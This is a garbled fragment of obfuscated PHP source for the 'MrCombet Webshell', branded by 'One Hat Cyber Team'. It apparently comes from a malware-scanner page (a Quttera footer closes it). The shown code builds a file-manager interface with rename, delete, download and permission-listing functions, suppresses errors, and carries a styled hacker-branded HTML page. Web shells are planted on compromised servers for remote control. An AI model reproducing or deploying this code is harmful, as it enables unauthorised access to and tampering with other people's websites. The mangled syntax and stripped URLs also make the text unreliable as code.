"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto MRd5z; JeHOA: if ($im == "newFile") { goto Pb; } goto PT1kf; xCnPK: @ini_set("display_errors", 0); goto hLl23; U4B_p: goto T4; goto uwGgw; PM0Ws: foreach ("scandir" as $yf) { if ("""("{$Jd}/{$yf}")) { goto CB; } goto Qj; CB: echo " \xa<tr>\xa<td style="text-align: left;">\xa<i class="fa fa-fw fa-folder-o" style="border: 0;padding: 0;width:.28571429em;"></i><a href="?p=" . sS("{$Jd}/{$yf}") . "" data-toggle="tooltip" data-placement="auto" title="Latest modify on 1"("Y-m-d H:i", "6"("{$Jd}/{$yf}")) . "">{$yf}</a></td>\xa<td style="color: black;"><span></span></td>\xa<td><font color="" . ("0"("{$Jd}/{$yf}") ? "0ff" : (!"6"("{$Jd}/{$yf}") ? "#ff" : null)) . "">" . RN("{$Jd}/{$yf}") . "</font></td>\xa<td style="color: black;width: 95%;"><span></span></td>
<td>\xa<a href="?p=" . ss($Jd) . "&a=" . ss("rename") . "&n=" . ss($yf) . "&t=d" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a>
</td>
<td>
<a href="?p=" . sS($Jd) . "&a=" . ss("delete") . "&n=" . ss($yf) . "" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a>\xa</td>
</tr>"; Qj: } goto hB0K6; hkJ0l: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; }  goto cC; FZ: "u" = "s"; goto cC; Eu: "u" = "l"; goto cC; ES: "u" = "-"; goto cC; sA: "u" = "b"; goto cC; lG: "u" = "d"; goto cC; tV: "u" = "c"; goto cC; Tx: "u" = "p"; cC: "u" .= $Jd & 256 ? "r" : "-"; "u" .= $Jd & 128 ? "w" : "-"; "u" .= $Jd & 64 ? $Jd & 2048 ? "s" : "x" : ($Jd & 2048 ? "S" : "-"); "u" .= $Jd & 32 ? "r" : "-"; "u" .= $Jd & 16 ? "w" : "-"; "u" .= $Jd & 8 ? $Jd & 1024 ? "s" : "x" : ($Jd & 1024 ? "S" : "-"); "u" .= $Jd & 4 ? "r" : "-"; "u" .= $Jd & 2 ? "w" : "-"; "u" .= $Jd & 1 ? $Jd & 512 ? "t" : "x" : ($Jd & 512 ? "T" : "-"); return "u"; } goto mxN_J; vq8Le: $BL = $Jd . "/" . jd($_GET["n"]); goto M0Qcl; aT2xJ:
<!doctypehtml><html lang="en"><head><meta content="//dldropboxusercontentcom/s/gjdpc0so99lr8gt/combetpng"property="og:image"><meta content="MrCombet Webshell 🔥"property="og:title"><meta content="One Hat Cyber Team"property="og:description"><meta content="#ff0000"name="theme-color"><meta content="width=device-width,initial-scale=06,shrink-to-fit=no"name="viewport"><link href="//cdnjsdelivrnet/npm/bootstrap@460/dist/css/bootstrapmincss"rel="stylesheet"><link href="//cdnjscloudflarecom/ajax/libs/font-awesome/470/css/font-awesomemincss"rel="stylesheet"><link href="//dldropboxusercontentcom/s/gjdpc0so99lr8gt/combetpng"rel="icon"><title>MrCombet Webshell 🔥</title><style>@import url(//fontsgoogleapiscom/css2?family=Kelly+Slab&display=swap);body{color:#000;font-size:0;font-family:'Kelly Slab';width:99%;padding:0;margin-right:auto;margin-left:auto;margin-top:7px;margin-bottom:7px;background-color:#000!important}.bg-dark{background-color:#000!important}.border{box-shadow:0 0 10px red;border:2px solid #ff0!important;border-radius:5px;background:0 0}.border:hover{box-shadow:0 0 10px #ff0;border:2px solid red!important}.table td{padding:.1rem;box-shadow:inset 0 0 0 1px red;border-radius:2px}.table thead th{box-shadow:inset 0 0 0 15px red;color:#ff0;padding:.25rem;border-radius:5px;background:linear-gradient(to bottom,#000,#3f3f3f80)}.table-hover tbody tr:hover td{background:#ffff001a;box-shadow:inset 0 0 0 1px #ff0;border-radius:2px}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}.form-group{margin-top:15px;margin-bottom:15px}li{font-size:17px!important;color:#ff0!important;list-style:inherit!important}a{color:#fff!important;text-decoration:none!important}a:hover{text-decoration:none!important;color:#ff0!important}h5{margin-top:15px;margin-bottom:15px;font-size:18px!important;color:#ff0!important;padding:2px}textarea{width:97%;font-size:16px;font-family:inherit;height:44vh;padding-left:5px}button,input{border:2px solid #ff0;border-radius:5px;font-size:15px;color:#fff;line-height:normal;font-family:inherit;box-shadow:0 0 5px red}button,input:hover{border:2px solid red;cursor:pointer;box-shadow:0 0 5px #ff0}.ohct{padding-left:1rem;padding-right:1rem;color:#fff;border:2px solid #ff0;border-radius:5px;background-color:transparent;font-family:inherit;font-size:16px;box-shadow:0 0 5px red}.ohct:hover{border:2px solid red;color:#ff0!important;box-shadow:0 0 5px #ff0}.combet{color:#fff}.combet:hover{color:#ff0}.p-1{padding:4px}</style><style>.fa{padding:10px;font-size:20px;width:50px;text-align:center;text-decoration:none;margin:5px;color:#ff0}.fa:hover{border:2px solid red}.text-light{color:#f8f9fa!important;font-size:17px!important}</style><script src="//unpkgcom/sweetalert/dist/sweetalertminjs"></script></head><body><div class="text-light table-responsive"style="text-align:left;padding:4px;border:2px solid red;border-radius:5px"><div style="text-align:center;display:flex;align-items:center;justify-content:center;align-content:center"><a href="mailto:combetohct@yahoocom"class="border fa fa-envelope"></a> <a href="https://bitly/3FaKtZd"class="border fa fa-facebook"></a> <a href="?"style="font-size:2rem;text-shadow:0 0 10px red"><span>MrCombet WebShell</span></a> <a href="https://bitly/3ELU2fs"class="border fa fa-whatsapp"></a> <a href="https://bitly/3Ue74Z0"class="border fa fa-telegram"></a></div><li>Your IP : <span style="color:#fff">goto W9ggd; IbRC9: header("Content-disposition: attachment; filename="" . jd($_GET["n"]) . """); goto YklOd; GaTZI: VZ: goto FPE9y; FvVzn: 



© 2023 Quttera Ltd. All rights reserved.